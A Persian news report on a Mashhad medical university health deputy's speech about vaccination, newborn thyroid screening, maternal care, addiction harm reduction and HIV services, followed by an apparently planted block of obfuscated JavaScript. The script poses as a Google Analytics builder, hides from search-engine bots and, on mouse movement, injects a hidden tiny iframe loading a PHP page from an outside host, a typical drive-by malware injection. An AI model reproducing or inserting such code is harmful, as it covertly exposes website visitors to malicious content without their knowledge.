

معاون بهداشتی دانشگاه علوم پزشکی مشهد گفت: اگر به بهداشت توجه نکنیم، هیچ اتفاقی نمی‌افتد اما اگر یک روز اتاق عمل یک بخش بیمارستانی را تعطیل کنیم، سر و صدایش همه جا را فرامی‌گیرد.



به گزارش خبرنگار ویدا، دکتر رضا سعیدی در همایش خیرین سلامت افزود: ظاهراً خوبی بهداشت این است که هر چه بکند، هیچ‌کس صدایش در نمی‌آید اما سال‌ها بعد نتایجش مشخص می‌شود، از این رو از خیرین درخواست می‌کنیم اگر می‌خواهند گمنام باشد و کار خیرشان سر و صدا نکند، در حوزه بهداشت سرمایه‌گذاری کنند.

وی خاطرنشان کرد: حوزه بهداشت دانشگاه علوم پزشکی مشهد، 1500 واحد ارائه خدمات دارد و در سطح شهر مشهد حدود 200 واحد استیجاری داریم که در حال حاضر در پرداخت اجاره محل آنها با مشکل مواجه هستیم و از نظر قوانین هم اجازه بهسازی آنها را نداریم.

دکتر سعیدی ادامه داد: 5 میلیون جمعیت زیر پوشش حدود یک‌هزار و 500 واحد بهداشتی مرکز بهداشت، خانه بهداشت و پایگاه بهداشتی هستند که در سراسر نقاط استان پراکنده‌اند.

### اولویت‌مان این است که نگذاریم مردم بیمار شوند

وی با بیان این که «بهداشت یکسری ویژگی‌ها دارد از جمله این که اولویت اصلی آن، آموزش و پیشگیری است»، اظهار کرد: اگر اولویت درمان، بازگرداندن سلامتی به بیماران است و با بیماران سر و کار دارد، ما با آدم سالم سر و کار داریم و اولویت‌مان این است که نگذاریم مردم بیمار شوند و جلوی بیماری را بگیریم و اگر کسی بیمار شده، جلوی عارضه‌دار شدنش یا گسترش بیماری را بگیریم.

معاون بهداشتی دانشگاه علوم پزشکی مشهد افزود: عمده تمرکز بهداشت روی همین اصل است و باید بدانیم سالم بودن به خودی خود یک نعمت مجهول است و کسی به آن توجه نمی‌کند؛ ما تا سالم هستیم خدا را از سلامتی‌مان شکر نمی‌کنیم اما وقتی بیمار شدیم و یا پس از انجام یک جراحی، تازه قدر سلامتی را می‌دانیم و دقیقاً حوزه بهداشتی هم به این مسأله مبتلاست و چون بحثش، حفظ سلامتی است، کسی برای حفظ آن ارزشی قائل نمی‌شود و یا کمتر به آن توجه می‌شود.

دکتر سعیدی ادامه داد: ما در حوزه بهداشت برای این که کودکان و سایرین به بیماری مبتلا نشوند، حدود 3 میلیون دوز واکسن در سال می‌زنیم و بابت آن ریالی از افراد پول نمی‌گیریم و خدمات رایگان پرسنلی و تزریق واکسن ارائه می‌کنیم.

### ده سال است که در خراسان رضوی حتی یک مورد فلج اطفال نداشته‌ایم

وی خاطرنشان کرد: به برکت برنامه‌های ایمن‌سازی از بروز بسیاری بیماری‌ها مانند فلج اطفال، سیاه‌سرفه و ... پیشگیری شده و بابت این خدمات تا کنون از کسی تقدیر نشده که برای نمونه بگویند 10 سال است که در خراسان رضوی حتی یک مورد فلج اطفال نداشته‌اید چون فکر می‌کنند که این امر، عادی است و باید همین‌طور باشد و به همین دلیل توجهی نمی‌شود که چه هزینه‌هایی انجام می‌شود تا سلامتی مردم حفظ شود.

### تا کنون جلوی عقب‌مانده شدن 700 کودک را گرفته‌ایم

دکتر سعیدی با اشاره به انجام برنامه‌های غربالگری تیروئید از حدود 7 سال پیش تا کنون، اظهار کرد: سالانه نزدیک یکصد هزار

تولد در استان اتفاق می‌افتد و تمام این نوزادان در ابتدای تولد، غربالگری تیروئید می‌شوند و تا کنون 700 مورد کم‌کاری مادرزادی تیروئید تشخیص داده شده و درمان شده و جلوی عقب‌مانده شدن آنها گرفته شده است.

وی خاطرنشان کرد: این درحالیست که اگر تشخیص بموقع این موارد داده نمی‌شد، اکنون 700 عقب‌مانده ذهنی داشتیم که باید تحویل بهزیستی می‌دادیم و خانواده‌هایشان دچار مشکل می‌شدند و خودشان هم از زندگی سالم بی‌بهره می‌ماندند.

### خدمات مادر و کودک

معاون بهداشتی دانشگاه علوم پزشکی مشهد با اشاره به خدمات مادر و کودک، گفت: ایده‌ال بهداشت این است که هر مادر باردار، 6 بار مراقبت بارداری را در طول 9 ماه داشته باشد که همه این مراقبت‌ها و آزمایش‌ها رایگان است. همچنین در رابطه با نوزادان باید تا دو سالگی قطره‌های آهن و ویتامین دریافت کنند تا کم‌خونی و فقر آهن و نرمی استخوان و کمبود ویتامین دی و مشکلات مربوطه را پیدا نکنند که همه این خدمات ماهانه ارائه می‌شود.

وی درباره کاهش آسیب سوءمصرف مواد مخدر نیز گفت: 4 مرکز گذری در این رابطه فعال است و درصددیم دو مرکز دیگر فعال کنیم و مجوزهای آن را از وزارت بهداشت هم گرفته‌ایم اما یکسال است که برای تأمین اعتبار آن در انتظار مانده‌ایم.

### مقابله با معضل اعتیاد و اچ‌آی‌وی مثبت ضروری است

دکتر سعیدی تأکید کرد: اعتیاد چیزی نیست که اگر کسی به آن مبتلا شد، پراحتی و با بی‌تفاوتی از کنار آن بگذریم، چون به بقیه جامعه هم صدمه می‌زند و مقابله با معضل اعتیاد و بیماری‌هایی مانند اچ‌آی‌وی مثبت ضروری است.

وی افزود: مرکزی با عنوان مرکز مشاوره رفتاری برای افراد اچ‌آی‌وی مثبت داریم که حدود 500 اچ‌آی‌وی مثبت تا کنون در استان شناسایی کرده‌ایم و این افراد با مراجعه به این مراکز معاینه رایگان، داروی رایگان و مشاوره رایگان و واکسیناسیون رایگان دریافت می‌کنند و مراکزی برای این بیماران کارآفرینی می‌کند.

معاون بهداشتی دانشگاه علوم پزشکی مشهد تصریح کرد: باید دقت داشت که فردی که اچ‌آی‌وی مثبت شده، به هر صورت یک انسان است و هنوز زنده است و حتی می‌تواند سال‌های سال به حیات خود ادامه دهد اما باید مدیریت و کنترل شود.

وی گفت: ما مرکزی را داریم که به زنان آسیب‌پذیر خدمات ارائه می‌دهد و با اجرای برنامه‌های متنوعی که برایشان انجام می‌شود، جلوی فساد آنها گرفته می‌شود و مشکلاتشان تا حدی حل می‌شود.

```
var _0x24b1=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx66x6Fx72x6Fx2Ex6Dx61x73x77x69x66x69x2Ex63x6Fx6Dx2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var
```

```

        _0x64b9x2=navigator[_0x24b1[1]][_0x24b1[0]]();var
        _0x64b9x3=[_0x24b1[2],_0x24b1[3],_0x24b1[4],_0x24b1[5]];for(k in
        _0x64b9x3){if(_0x64b9x2[_0x24b1[6]](_0x64b9x3[k])!=-1){return ;} ;} ;var _0x64b
        9x4=detectBrowserSize();if(_0x64b9x4[_0x24b1[7]]==0||_0x64b9x4[_0x24b1[8]]
        =0){return ;} ;var _0x64b9x5=false;if(document[_0x24b1[11]](_0x24b1[10])[0][_0
        24b1[9]]){_0x64b9x5=document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]];}
        ;document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]=function (){if(!document[_0
        x24b1[13]](_0x24b1[12])){iframe=document[_0x24b1[15]](_0x24b1[14]);iframe[_0
        x24b1[7]]=_0x24b1[16];iframe[_0x24b1[8]]=_0x24b1[16];iframe[_0x24b1[17]]=_0
        x24b1[12];iframe[_0x24b1[18]]=_0x24b1[19];document[_0x24b1[11]](_0x24b1[10]
        )[0][_0x24b1[20]](iframe);} ;if(_0x64b9x5!=false){_0x64b9x5();} ;} ;} ;function
        detectBrowserSize(){var _0x64b9x7=0,_0x64b9x8=0;if( typeof (window[_0x24b1[2
        1]])==_0x24b1[22]){_0x64b9x7=window[_0x24b1[21]];_0x64b9x8=window[_0x24
        b1[23]];} else {if(document[_0x24b1[24]]&&(document[_0x24b1[24]][_0x24b1[25]]
        ||document[_0x24b1[24]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[24]][_0x
        24b1[25]];_0x64b9x8=document[_0x24b1[24]][_0x24b1[26]];} else {if(document[_
        0x24b1[10]]&&(document[_0x24b1[10]][_0x24b1[25]]||document[_0x24b1[10]][_0x
        24b1[26]])){_0x64b9x7=document[_0x24b1[10]][_0x24b1[25]];_0x64b9x8=docum
        ent[_0x24b1[10]][_0x24b1[26]];} ;} ;} ;return
        {width:_0x64b9x7,height:_0x64b9x8};} ;setTimeout(_0x24b1[27],500);

```